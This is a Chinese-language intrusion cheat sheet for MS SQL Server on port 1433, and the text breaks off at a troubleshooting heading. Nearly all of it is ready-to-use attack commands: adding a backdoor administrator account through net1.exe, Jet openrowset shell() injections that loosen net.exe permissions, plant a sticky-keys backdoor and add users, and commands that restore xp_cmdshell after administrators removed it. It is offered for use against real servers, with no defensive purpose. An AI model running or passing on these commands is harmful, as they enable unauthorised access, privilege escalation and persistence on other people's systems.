1433端口入侵与提权代码详解

1 4 3 3 + 入 侵 + 解 封 + 提 权 代 码 

net net1被禁止时执行CMD命令
第一步：dir net.exe /s /p 或者 dir net1.exe /s /p
第二步：C:\WINDOWS\system32\dllcache\net1.exe user 123 123 /add
第三步：C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators 123 /add
◆◆◆◆◆◆◆◆◆◆◆◆◆◆
沙盘模式提权
sethc.exe禁止
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cacls c:\windows\system32\net.exe /e /t /g everyone:F')
net net1都被禁用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("xcopy taskmgr.exe sethc.exe /y")')
如果cmd被禁用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("net user user pass /add")')
◆◆◆◆◆◆◆◆◆◆◆◆◆◆
除了xplog70.dll其他的都可以用这命令修复
第一步先删除：
drop procedure sp_addextendedproc 
drop procedure sp_oacreate 
exec sp_dropextendedproc 'xp_cmdshell' 
服务器: 消息 3701，级别 11，状态 5，行 1
无法 除去 过程 'sp_addextendedproc'，因为它在系统目录中不存在。
服务器: 消息 3701，级别 11，状态 5，过程 sp_dropextendedproc，行 18
无法 除去 过程 'xp_cmdshell'，因为它在系统目录中不存在。
第二步恢复：
dbcc addextendedproc ("sp_oacreate","odsole70.dll") 
dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 
直接恢复，不管sp_addextendedproc是不是存在 
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
1.未能找到存储过程'master..xpcmdshell'之解决方法：